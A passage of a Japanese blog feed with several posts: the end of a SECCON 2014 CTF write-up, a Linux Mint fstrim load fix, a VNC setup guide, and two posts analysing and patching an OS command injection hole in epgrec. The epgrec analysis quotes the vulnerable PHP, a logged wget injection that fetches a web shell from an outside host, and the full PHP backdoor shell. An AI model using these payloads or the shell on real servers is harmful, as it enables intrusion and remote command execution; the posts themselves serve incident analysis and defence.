-95
86, -41, -31, -30, 67, 33, 76, -14, 78, 95, 26, 88, -91, -20, 45, 51, 83
The minimum number? 
-91
-68, -47, 60, 85, 1, -17, -92, 94, -33, 47, -64, -76, 87, 21, 84, -8, -86, -14
The maximum number? 
94
18, 50, 9, 41, -26, 40, 39, -83, 7, -96, -45, 41, 47, -87, 28, -30, -70, 92, 8
The minimum number? 
-96
973, -220, -62, -952, -63, -18, 420, 121, 556, 267, -576, -421, 775, 421, 830, -70, 229, 2, 581, 839
The minimum number? 
-952
490, 742, 118, 634, -207, 181, -187, 72, 70, -932, -341, 842, -53, -520, -701, 286, 632, -333, -611, 580, 171
The maximum number? 
842
96, -215, 616, 983, 901, -547, 423, -666, 507, -852, -102, 92, -602, 613, 287, 680, 664, -43, -660, -655, -269, -733
The minimum number? 
-852

・・・略・・・

556459593, 2124483131, 2159881254, -3749776183, -2956358028, -525066711, -181583130, 804390823, 1740090484, -793541476, -771482074, 3981865877, -1781852942, 1733051694, -1229826280, -1252056066, 2302429424, -127597216, 584347400, 3201495296, 3793190324, -3792414033, 1778463825, 3285874942, -2696920906, 2556983581, 4058759995, 98217082, -2611145952, -324523284, -3921510686, 4250415544, -3727489945, -1627669983, -3852674381, 4156209840, 1684566595, -559196578, 331587419, 2164599710, 1250638363, 2661376500, -3009444945, 274000465, 3379372586, 3614523634, 4171421938, 619691208, -611617890, 1790148465, -2489245162, -1565675134, -2352506611, 1996182388, -3737895020, 4166992857, -1384468141, 3603231049, 418250494, -1170383247, -4207411230, -1371190709, -2836728233, -1687718214, -605700096, -3148453710, 1719740456, -1854546036, -3313019035, 3529400825, 3170707133, 60340683, -858105108, 2774783484, 4110192850, 908959548, -166441903, -2216610426, -2582470585, 2612317046, 2524067276, -2097902704, -3952326444, 3689731992, 1755793330, 3127603599, 162955011, 381420595, 1091122758, 4131177934, 971526781, 1344495679, -893926365, -1557417848, 457045675, -2006055280, -2434870581, 2715139040, 704942641, -1699474743, -721176381
The minimum number? 
-4207411230
Congratulations!
The flag is SECCON{Programming is so fun!}

Traceback (most recent call last):
  File &quot;./programming_resolver.py&quot;, line 37, in &lt;module&gt;
    main()
  File &quot;./programming_resolver.py&quot;, line 14, in main
    answer = solve(rcvmsg)
  File &quot;./programming_resolver.py&quot;, line 28, in solve
    number_list.append(int(i))
ValueError: invalid literal for int() with base 10: &#39;Congratulations!&#39;
&lt;/code&gt;
&lt;/pre&gt;
最後にParseに失敗しているのは、サーバから飛んでくる文字列形式が異なるからで、気にしない。&lt;br /&gt;
&lt;br /&gt;
一部 XSS Bonsai という問題で、Windowsが無いと問題に挑戦することすら出来ない問題があり、&lt;br /&gt;
私はLinuxしか手元にない為、どんな問題だったのかそれだけ見ることが出来ませんでした・・。&lt;br /&gt;
wine でも動作せず・・・。 CTFはプロプライエタリソフトウェアを持っていることが前提なのでしょうか・・・。</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/7981133388556293689/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2014/12/seccon-2014-writeup.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/7981133388556293689'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/7981133388556293689'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2014/12/seccon-2014-writeup.html' title='SECCON 2014 オンライン予選 Writeup'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-8135114846152957047</id><published>2014-12-03T21:14:00.000+09:00</published><updated>2014-12-03T21:14:28.842+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="IO"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><category scheme="http://www.blogger.com/atom/ns#" term="パフォーマンス"/><title type='text'>負荷の正体はなんなんだ！？定期的に重くなるLinux mint 17 (qiana)</title><content type='html'>久しぶりにブログ書きます。&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
私はLinux mint MATE を日常的に使っているのですが、ここ数ヶ月の間&lt;/div&gt;
&lt;div&gt;
たまに何も自分では処理をさせているつもりがないのにOS全体がもっさりと&lt;/div&gt;
&lt;div&gt;
重くなることがありました。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
今までずっと原因がわからずにいたのですが、今日判明して嬉しくなってこのエントリを書いていますｗ&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
状況ですが、OS起動して数分後から突然ストレージアクセスランプが点灯しっぱなしに十数分程&lt;/div&gt;
&lt;div&gt;
なってしまい、何をするにもIO待ちになってしまいます。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
ストレージアクセスランプが光っぱなしなので、IO負荷がかかっていることは容易に分かっていたのですが&lt;/div&gt;
&lt;div&gt;
じゃあ、どのプロセスがIO負荷をかけているのか？までは掴みきれていませんでした。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
今回重い腰を上げて、色々調べてみましたところ、Linuxには「iotop」という素晴らしいコマンドがありました。&lt;/div&gt;
&lt;div&gt;
このコマンドを実行すると、IO負荷が高いプロセス順にtopコマンドのような出力が得られました。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
で、今回判明したプロセスはこれ&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
「fstrim」&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
初めて見るコマンドですが、こいつがIOを99％奪い続けていました。&lt;/div&gt;
&lt;div&gt;
なんだろうかと調べてみると、どうやらUbuntu 14.04ベースのLinuxでは&lt;/div&gt;
&lt;div&gt;
一週間に1回、自動的にこのコマンドを定期実行するように最初から&lt;/div&gt;
&lt;div&gt;
スケジューリングされていることが判明しました。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
/etc/cron.weekly/fstrim&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
にしっかり定義されています。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
このコマンドは、WindowsでいうところのHDDのデフラグみたいなコマンドらしい。&lt;/div&gt;
&lt;div&gt;
定期的に実行することでIOパフォーマンスが劣化しないようにしてくれてる模様。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
PostgreSQLのvacuum みたいなイメージかなぁ・・・。&lt;/div&gt;
&lt;div&gt;
Linuxにもこの手のコマンドあるとは知りませんでした。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
なんかたまにIO負荷ががくんと十数分上がりっぱなしになって原因がわからず&lt;/div&gt;
&lt;div&gt;
困っている人の何かしらの参考になれば・・・。&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/8135114846152957047/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2014/12/linux-mint-17-qiana.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/8135114846152957047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/8135114846152957047'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2014/12/linux-mint-17-qiana.html' title='負荷の正体はなんなんだ！？定期的に重くなるLinux mint 17 (qiana)'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-8742770533542312973</id><published>2014-02-23T13:09:00.000+09:00</published><updated>2014-02-23T13:09:22.291+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OSコマンドインジェクション"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="クラッキング"/><category scheme="http://www.blogger.com/atom/ns#" term="セキュリティ"/><category scheme="http://www.blogger.com/atom/ns#" term="ハッキング"/><category scheme="http://www.blogger.com/atom/ns#" term="脆弱性"/><title type='text'>「続編」epgrecの脆弱性を検証する</title><content type='html'>&lt;a href=&quot;http://falconws.blogspot.jp/2014/01/epgrec.html&quot; target=&quot;_blank&quot;&gt;前回&lt;/a&gt;&amp;nbsp;epgrecの脆弱性について検証しましたが、しばらく対策について&lt;br /&gt;
記述していませんでした。&lt;br /&gt;
私の場合、epgrec fork の epgrec UNA というものを使用しており、UNA版での&lt;br /&gt;
対策について検討したいと思います。&lt;br /&gt;
&lt;br /&gt;
fork版の開発者から、修正パッチが出ているのでそれを適用します。&lt;br /&gt;
http://d.hatena.ne.jp/katauna/20140118/1390017028&lt;br /&gt;
&lt;br /&gt;
パッチ内容を確認します。&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ diff -u /var/www/epgrec/install/step5.php ./step5.php
--- /var/www/epgrec/install/step5.php 2011-10-09 16:57:55.000000000 +0900
+++ ./step5.php 2014-01-18 12:13:04.000000000 +0900
@@ -4,10 +4,6 @@
 
 $settings = Settings::factory();
 
-if( isset( $_GET[&#39;script&#39;] ) )
- $epg_rec = $_GET[&#39;script&#39;];
-else
- exit();
 if( isset( $_GET[&#39;time&#39;] ) )
  $rec_time = $_GET[&#39;time&#39;];
 else
@@ -15,8 +11,21 @@
 
 echo &#39;EPGの初回受信を行います。&#39;.$rec_time.&#39;分程度後に&amp;lt;a href=&quot;&#39;.$settings-%3Einstall_url.&#39;&quot;&amp;gt;epgrecのトップページ
を開いてください。&#39;;
 
-@exec( INSTALL_PATH.$epg_rec.&#39; &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&#39; );
-
+if( isset( $_GET[&#39;script&#39;] ) ){
+ $epg_rec = $_GET[&#39;script&#39;];
+ switch( $epg_rec ){
+  case &#39;/getepg.php&#39;:
+  case &#39;/shepherd.php&#39;:
+   @exec( INSTALL_PATH.$epg_rec.&#39; &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&#39; );
+   break;
+  default:
+   $alert_msg = &#39;不法侵入者による攻撃を受けました。[&#39;.$_SERVER[&#39;REMOTE_HOST&#39;].&#39;(&#39;.$_SERVER[&#39;REMOTE_ADDR&#39;].&quot;)]\nSCRIPT::[&quot;.$epg_rec.&#39;]&#39;;
+   reclog( $alert_msg, EPGREC_WARN );
+   file_put_contents( INSTALL_PATH.$settings-&amp;gt;spool.&#39;/alert.log&#39;, date(&quot;Y-m-d H:i:s&quot;).&#39; &#39;.$alert_msg.&quot;\n&quot;, FILE_APPEND );
+   syslog( LOG_WARNING, $alert_msg );
+   break;
+ }
+}
 exit();
 
 ?&amp;gt;&lt;/pre&gt;
これを見ると、URI部分に「?script=;wget〜」のOSコマンドインジェクション攻撃をされた&lt;br /&gt;
場合には、処理の実行を中断し攻撃の痕跡をログに残すように変更されています。&lt;br /&gt;
scriptパラメータに渡して有効な文字列は「/getepg.php」と「/shepherd.php」のみに&lt;br /&gt;
限定されている為、これで攻撃は防げると思います。&lt;br /&gt;
そもそもなんですが、このWebアプリはWANに公開することをあまり想定されてないようなので&lt;br /&gt;
LAN内限定でアクセス可能に制限し、外から使う時はVPNやssh port forward 等を組み合わせて&lt;br /&gt;
利用することをオススメします。そうしないとまた他にも脆弱性が発見される可能性が高いように思います。&lt;br /&gt;
&lt;br /&gt;
# 前回で紹介した攻撃者が不正にアップロードしてきたPHPシェルの検証ももっと深く突っ込んでやりたいですね・・・</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/8742770533542312973/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2014/02/epgrec.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/8742770533542312973'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/8742770533542312973'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2014/02/epgrec.html' title='「続編」epgrecの脆弱性を検証する'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-4634133360216441803</id><published>2014-01-21T23:58:00.002+09:00</published><updated>2014-01-21T23:58:39.342+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OSコマンドインジェクション"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="クラッキング"/><category scheme="http://www.blogger.com/atom/ns#" term="セキュリティ"/><category scheme="http://www.blogger.com/atom/ns#" term="ハッキング"/><category scheme="http://www.blogger.com/atom/ns#" term="脆弱性"/><title type='text'>epgrecの脆弱性を検証する</title><content type='html'>epgrecの脆弱性が巷で話題になっているようなので検証してみたい。&lt;br /&gt;
&lt;div&gt;
この辺を参照&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://engawa.2ch.net/test/read.cgi/poverty/1389955316/&quot; target=&quot;_blank&quot;&gt;【速報】torrentアニメのtsファイルの出元が判明&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
epgrecとは、Linux環境でテレビ番組を録画するソフトウェア、もう少し&lt;/div&gt;
&lt;div&gt;
詳しく言うといわゆるWebアプリケーションである。&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
今回問題となったのはこのepgrecの脆弱性、問題となったコードは下記&lt;/div&gt;
&lt;div&gt;
epgrec/install/step5.php&lt;/div&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;if( isset( $_GET[&#39;script&#39;] ) )
        $epg_rec = $_GET[&#39;script&#39;];
else
        exit();
if( isset( $_GET[&#39;time&#39;] ) )
        $rec_time = $_GET[&#39;time&#39;];
else
        exit();

echo &#39;EPGの初回受信を行います。&#39;.$rec_time.&#39;分程度後に&lt;a href=&quot;https://www.blogger.com/&#39;.$settings-%3Einstall_url.&#39;&quot;&gt;epgrecのトップページ&lt;/a&gt;を開いてください。&#39;;

@exec( INSTALL_PATH.$epg_rec.&#39; &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&#39; );

exit();
&lt;/pre&gt;
&lt;div&gt;
&lt;br /&gt;
このスクリプトに「OSコマンドインジェクション」の脆弱性がある。&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;@exec( INSTALL_PATH.$epg_rec.&#39; &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&#39; );
&lt;/pre&gt;
この部分、外部から「script」というパラメータで受け取った値を&lt;br /&gt;
何のチェックもせずに @exec() メソッドの引数の一部として渡してしまっている。&lt;br /&gt;
この場合、$epg_rec 変数の中に「;任意のコマンド」と、セミコロンをつけることで&lt;br /&gt;
OSコマンドインジェクション攻撃が成立してしまう。&lt;br /&gt;
&lt;br /&gt;
今回の攻撃リクエストは下記&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;87.181.247.107 - - [12/Jan/2014:17:51:44 +0900] &quot;GET /epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/（ユーザー名）/public_html/epgrec/thumbs/tv.php%20http://gesopls.de/script/epgrec_shell.txt;&amp;amp;time=lolol HTTP/1.1&quot; 200 148 
&quot;-&quot; &quot;Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)&quot; 
&lt;/pre&gt;
&lt;br /&gt;
これはつまり、WebブラウザのURL欄に下記のように指定してページを読み込んだことと等しい。&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;http://被害者のサーバ/epgrec/install/step5.php?script=;wget%20-4%20-O%20/home/（ユーザー名）/public_html/epgrec/thumbs/tv.php%20http://gesopls.de/script/epgrec_shell.txt;&amp;amp;time=lolol
&lt;/pre&gt;
これのURLエンコードされている部分(wgetのあたり)をデコードすると
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;;wget -4 -O /home/(ユーザ名)/public_html/epgrec/thumbs/tv.php http://gesopls.de/script/epgrec_shell.txt
&lt;/pre&gt;
となる。wgetコマンドはファイルをダウンロードするLinuxコマンド。
wgetの-4オプションは、IPv4のみに接続するオプションで、-Oオプションは保存先のディレクトリや
保存ファイル名を指定するオプション。
今回はepgrecインストール先のthumbs/ ディレクトリの下に tv.php というファイル名で
epgrec_shell.txt をダウンロードさせた事になる。
クラッカーが任意のファイルをPHPが動作するディレクトリにアップロードできたというわけ。
そんでもって、どんなファイルをアップロードされたのかと言うと、アップロードされたファイルの中身がこちら

&lt;br /&gt;
epgrec_shell.txt&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;&amp;lt;?php 
 header(&#39;Content-Type: text/html; charset=utf8&#39;);
?&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;script language=&quot;JavaScript&quot;&amp;gt;
function hex(d) {
 return d.toString(16);
}
function Encrypt(theText) {
 output = new String;
 Tmp = new String;
 Temp = new Array();
 TextSize = theText.length;
 for (i = 0; i &amp;lt; TextSize; i++) {
  Temp[i] = theText.charCodeAt(i);
 }
 for (i = 0; i &amp;lt; TextSize; i++) {
  Tmp = hex(Temp[i]);
  if (Tmp.length == 1) {
   Tmp = &quot;0&quot; + Tmp;
  }
  output += Tmp;
 }
 document.cmdform.cmd.value=encodeURIComponent(theText);
 document.cmdform.submit();
}
&amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;center&amp;gt;
&amp;lt;form name=&quot;encform&quot; onsubmit=&quot;return false;&quot;&amp;gt;
&amp;lt;textarea name=&quot;dcmd&quot; rows=&quot;5&quot; cols=&quot;50&quot;&amp;gt;
&amp;lt;/textarea&amp;gt; 
&amp;lt;br/&amp;gt;
&amp;lt;input value=&quot;Execute&quot; onclick=&quot;Encrypt(this.form.dcmd.value);&quot; type=&quot;button&quot;&amp;gt; 
&amp;lt;br/&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/center&amp;gt;
&amp;lt;form name=&quot;cmdform&quot; method=&quot;GET&quot; action=&quot;&quot;&amp;gt;
&amp;lt;input name=&quot;cmd&quot; type=&quot;hidden&quot; value=&quot;&quot;&amp;gt;
&amp;lt;/form&amp;gt;&amp;lt;br/&amp;gt;
&amp;lt;?php 
function hex2str($hex) {  
 for($i=0;$i&amp;lt;strlen($hex);$i+=2) {    
  $str.=chr(hexdec(substr($hex,$i,2)));  
 }  
 return $str;
}

if ($_GET[&#39;cmd&#39;]) { 
 if($_GET[&#39;sjis&#39;]==1) 
  $cmd = trim(mb_convert_encoding(urldecode($_GET[&#39;cmd&#39;]),&quot;SJIS&quot;,&quot;UTF-8&quot;));
 else 
  $cmd = trim(urldecode($_GET[&#39;cmd&#39;])); 

?&amp;gt;
Command : &amp;lt;?php  echo $cmd  ?&amp;gt;
&amp;lt;br/&amp;gt;
&amp;lt;p&amp;gt;
&amp;lt;pre&amp;gt;
&amp;lt;?php 
 $cmd = &quot;(&quot;.$cmd;$cmd .= &quot;) 2&amp;gt;&amp;amp;1&quot;;
 if (!$_GET[&#39;type&#39;]) {
  system($cmd);
 } elseif ($_GET[&#39;type&#39;]==1) {
  passthru($cmd);
 } elseif ($_GET[&#39;type&#39;]==2) {
  echo (exec($cmd));
 } elseif ($_GET[&#39;type&#39;]==3) {
  $output = shell_exec($cmd);
  echo $output;
 } 
?&amp;gt;
&amp;lt;/pre&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;?php } ?&amp;gt;&lt;/pre&gt;
このスクリプトの詳細についてはまた後日検討するとして、結局何かと言うと
これはバックドアだ。
テキストエリア欄に任意のコマンドを入力すると、実際にサーバ上でそのコマンドが
実行されてしまう。コマンドの実行権限はApache2を動かしているユーザの権限になる。
大抵の人が「www-data」になると思われる。
下記は私が実際にこのスクリプトを検証してみた結果の画面。Webブラウザを通して
任意のコマンドが実行可能になっている。
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4vE3uIwmYOZBWOmbYqwsYFchqw7IZeKKgKsPAA0LzYjTTIZwn0Hxw8tUXDeWJ32KOZVefxtrVjVBddekGTMbniYQqPYVhsF2a3vyvfamvugbGImFPD_ZroL1fm4sSWtQU3MR2iKBFNdnA/s1600/OS_command_injection.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4vE3uIwmYOZBWOmbYqwsYFchqw7IZeKKgKsPAA0LzYjTTIZwn0Hxw8tUXDeWJ32KOZVefxtrVjVBddekGTMbniYQqPYVhsF2a3vyvfamvugbGImFPD_ZroL1fm4sSWtQU3MR2iKBFNdnA/s1600/OS_command_injection.png&quot; height=&quot;245&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
このようにして、クラッカーは好き勝手に番組を録画し、好き勝手に自分のサーバへ
&lt;/div&gt;
FTPやscp等を使ってアニメの.tsファイルをアップロードしていたものと思われる。&lt;br /&gt;
そして、このバックドアはJavaScriptによって暗号化したり復号化したりしながら

処理をしているように見えるが、これは何のためにこんなややこしいことをしているのか

現段階ではちょっとわからない。&lt;br /&gt;
Apache2のログを難読化するためにやっているのかと想像したのだが、実際にこの状態でログを確認してみると下記のようになる。
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;192.168.11.30 - - [21/Jan/2014:23:50:52 +0900] &quot;GET /epgrec/thumbs/tv.php?cmd=uname%2520-a HTTP/1.1&quot; 200 843 &quot;http://mint-rec.local/epgrec/thumbs/tv.php&quot; &quot;Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.77 Safari/537.36&quot;
&lt;/pre&gt;
これではどんな任意のコマンドを実行したのか丸見えなので難読化(？)している意味がない。&lt;br /&gt;
&lt;br /&gt;
一先ず今日はこの辺まで・・・。&lt;br /&gt;
海外のクラッカーにクラッキングされないように、きちんと脆弱性を修正したパッチを当てましょう。&lt;br /&gt;
このepgrec、意外と脆弱性が他にもまだまだあったりしそうな気がしますね・・・。</content><link rel='replies' type='application/atom+xml' href='http://falconws.blogspot.com/feeds/4634133360216441803/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://falconws.blogspot.com/2014/01/epgrec.html#comment-form' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/4634133360216441803'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2325413500508558220/posts/default/4634133360216441803'/><link rel='alternate' type='text/html' href='http://falconws.blogspot.com/2014/01/epgrec.html' title='epgrecの脆弱性を検証する'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4vE3uIwmYOZBWOmbYqwsYFchqw7IZeKKgKsPAA0LzYjTTIZwn0Hxw8tUXDeWJ32KOZVefxtrVjVBddekGTMbniYQqPYVhsF2a3vyvfamvugbGImFPD_ZroL1fm4sSWtQU3MR2iKBFNdnA/s72-c/OS_command_injection.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2325413500508558220.post-2887302584095789978</id><published>2013-12-27T19:08:00.000+09:00</published><updated>2013-12-27T23:08:18.951+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux mint"/><category scheme="http://www.blogger.com/atom/ns#" term="VNC"/><category scheme="http://www.blogger.com/atom/ns#" term="x11vnc"/><category scheme="http://www.blogger.com/atom/ns#" term="リモートデスクトップ"/><title type='text'>Linux mintでVNCを用いてリモート操作する</title><content type='html'>Linux mint MATE 32bit 環境でWindowsのVNCっぽくローカルコンソールのGUI&lt;br /&gt;
画面と同じ画面をリモートから操作する為の環境を構築する手順を書きます。&lt;br /&gt;
&lt;br /&gt;
まず使用するVNCサーバソフトウェアは「x11vnc」になりますので&lt;br /&gt;
このソフトウェアを下記のコマンドでインストールします。&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ sudo apt-get -y install x11vnc
&lt;/pre&gt;
次に、VNC接続するためのパスワードを設定します。&lt;br /&gt;
パスワードはバイナリファイルに保存しておきます。&lt;br /&gt;
下記コマンドを実行でパスワードを設定します。&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ sudo x11vnc -storepasswd /etc/x11vnc.passwd
&lt;/pre&gt;
パスワードを聞かれるので、打ち込みます。&lt;br /&gt;
&lt;br /&gt;
これでパスワードの設定が出来ました。&lt;br /&gt;
次に、OS起動時に自動的にx11vncが立ち上がるように設定します。&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;$ sudo vi /etc/mdm/Init/Default
&lt;/pre&gt;
このファイルを開くと、スクリプトが表示されると思いますが、&lt;br /&gt;
Shift+Gキーを押してスクリプトの一番下に移動します。&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;exit 0
&lt;/pre&gt;
と書かれてある上の行に、下記をコピペします。&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;/usr/bin/x11vnc -xkb -auth /var/lib/mdm/:0.Xauth -noxrecord -noxfixes -noxdamage -rfbauth /etc/x11vnc.passwd -shared -forever -bg -rfbport 5900 -cursor arrow -o /var/log/x11vnc.log
&lt;/pre&gt;
これで、自動起動の設定が出来たはずです。&lt;br /&gt;
1度OSを再起動しましょう。&lt;br /&gt;
&lt;br /&gt;
再起動が終わったら、手元のVNCクライアントから&lt;br /&gt;
ポート番号5900番に接続してみて下さい。&lt;br /&gt;
パスワード認証されると思います。先ほど設定したパスワードを入力すると&lt;br /&gt;
無事接続できると思います。&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj_30J9ezfGKu0ZH7UCq2s_0o_oK6Dsezpe7oBtO3eCLDWRjT-4eiCfxs6WfVs4yTdLuzkLlfrYihhiO2SF81ZBE4Ec01NQmic_ZTU3miiX_3SWxWy5rE5jLmdJhMWL12jHBQvZ4PlFG3e/s1600/VNC1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;215&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj_30J9ezfGKu0ZH7UCq2s_0o_oK6Dsezpe7oBtO3eCLDWRjT-4eiCfxs6WfVs4yTdLuzkLlfrYihhiO2SF81ZBE4Ec01NQmic_ZTU3miiX_3SWxWy5rE5jLmdJhMWL12jHBQvZ4PlFG3e/s320/VNC1.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRqIzmWWoX7A6qysOqM6h1FR-U_oC6hcckN3Y3Mynmv923EokMsWPs0_vYb7UlVDer7NaKX_pzttSPitJc-EPqqDfWvWOgfLQoB3RhBm3v52YK1w8aTOkKdyqPVuIdx3Aowql9-OzC4lEr/s1600/VNC2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;247&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRqIzmWWoX7A6qysOqM6h1FR-U_oC6hcckN3Y3Mynmv923EokMsWPs0_vYb7UlVDer7NaKX_pzttSPitJc-EPqqDfWvWOgfLQoB3RhBm3v52YK1w8aTOkKdyqPVuIdx3Aowql9-OzC4lEr/s320/VNC2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
